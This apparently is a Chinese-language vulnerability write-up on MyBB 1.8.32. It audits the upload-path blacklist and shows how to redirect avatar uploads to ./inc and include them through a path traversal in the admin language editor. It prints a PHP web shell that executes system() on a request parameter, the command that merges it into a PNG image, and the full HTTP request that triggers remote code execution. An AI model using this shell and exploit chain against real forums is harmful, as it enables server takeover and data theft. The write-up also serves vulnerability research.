MYBB論壇簡介及漏洞歷史
MYBB論壇簡介
MYBB論壇漏洞歷史
在exploit-db上,最早出現的漏洞可追朔到2005年的一系列sql注入,由於其源碼已經在github上開源,從此之後各種類型漏洞頻發,還不包括沒有公開提交到exploit-db上的漏洞,直到2022,未來一定會爆出更多漏洞,手排狗頭。 。 。php白盒原始碼審計
首先從github下載mybb 1.8.32的源碼,IDE我用的是vscode編輯器定位黑名單並找到繞過手段
/Upload/admin/modules/config/settings.php 1172 ~ 1178 行如果查看程式碼,每個目錄都有一個黑名單目錄,因為如果可以上傳文件
在這個黑名單目錄下,配合之後分析的檔案包含漏洞很容易造成遠端程式碼執行
緩解措施分析
/Upload/admin/modules/config/settings.php 1200 ~ 1206 行使用使用者輸入的數組變量,如果它們相同則取消設置
但是將這些設定更改為前面描述的4個黑名單目錄以外的路徑則可以實現檔案上傳
rebuild_settings()函數分析
/Upload/inc/functions.php 6967 ~ 6991 行也就是說我們在設定面板中設定上傳路徑為黑名單路徑以外的路徑,則可以設定成功,並並調用rebuild_settings函數在資料庫中搜尋行寫入inc/settings.php,上傳路徑可以修改成功,反之如果設定黑名單裡的路徑則會失敗。
頭像上傳
/Upload/inc/functions_upload.php 232 ~ 250 行/Upload/inc/functions_upload.php 926 ~ 945 行
定位文件包含漏洞
這次的文件包含漏洞也是本次漏洞鏈中最關鍵的一環,沒有它,就無法實現RCE。首先全域搜尋inclued函數,在\mybb\admin\modules\config\languages.php頁面的444行發現include函數:@include $editfile;
1 | /admin/index.php?module=config-languages&action=edit |
現在進行分析,之前我們自己設定的目錄為./inc,因此我們需要向該資料夾下進行上傳一個圖片,因此我們需要將上傳檔案目錄修改為該資料夾,現在分析如何修改該資料夾:
透過對頭像上傳資料夾進行跟踪,發現在function_upload.php的241行,該資料夾由全域變數settings控制
我們追蹤avataruploadpath變量,進行搜索,有1166行定義數組,而avataruploadpath為數組中的參數,同時也有post請求的upsetting數組進行輸入:
本地環境搭建與黑盒子漏洞利用
環境建構
我是用的寶塔面板搭建的環境,寶塔面板安裝參考官方下載安裝使用寶塔產品- niginx 1.22.1 + php 7.4.33 + phpmyadmin 5.2 + mysql 5.7.43
正常訪問,且是mybb 1.8.32版本:
修改上傳路徑配置並上傳頭像
登錄後台後訪問,搜尋”Avatar Upload Path”,將其改為”./inc”後,點擊”save settings”:將包含以下木馬內容的php檔案和正常png圖片檔案合併
1 2 3 4 5 6 7 8 | <?php if (isset( $_REQUEST [ 'cmd' ])){ echo "getshell success!" ; $cmd = ( $_REQUEST [ 'cmd' ]); echo system( $cmd ); phpinfo(); } ? > |
1 | copy close.png/b + shell.php/a shell.png |
路徑穿越檔案包含實作RCE
現在來進行文件包含之前的圖片馬,來到:不用修改任何內容直接點save language file然後抓包發送到repeater:
RCE請求包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | POST /admin/index.php?module=config-languages&action=edit&cmd= id HTTP/1.1 Host: www.mybb1832.cn User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Geck10o Firefox/108.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW ;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 518 Origin: null Connection: close Cookie: acploginattempts=0; adminsid=902f49bd1bc1979ae74; adminsid=902f49bd1bc1979ae74; mybb[lastvisit]=1673917082; mybb[lastactive]=1673917144; sid=3f11a37cfe7a2ad7d6b107c4e2d90168; loginattempts=1; mybbuser=1_9kiPJrzlrCosZesW7Zu3C5drhIa7mKVzJpq6vOAdULRPatNNdw Upgrade-Insecure-Requests: 1 my_post_key=7f8f8bf788db537641f6607860aa462a&file=avatar_1.png&lang=english&editwith=..&inadmin=0&edit%5Bnav_announcements%5D=For um+Announcement&edit%5Bannouncements%5D=Announcement&edit%5Bforum_announcement%5D=Forum+Announcement%3A+%7B1%7D&edit%5Berror_inval idannouncement%5D=The+announcement+specified+is+invalid.&edit%5Bannouncement_edit%5D=Edit+this+announcement&edit%5Bannouncement_q delete%5D=Delete+this+announcement&edit%5Bannouncement_quickdelete_confirm%5D=Are+you+sure+you+want+to+delete+this+announcement%3F |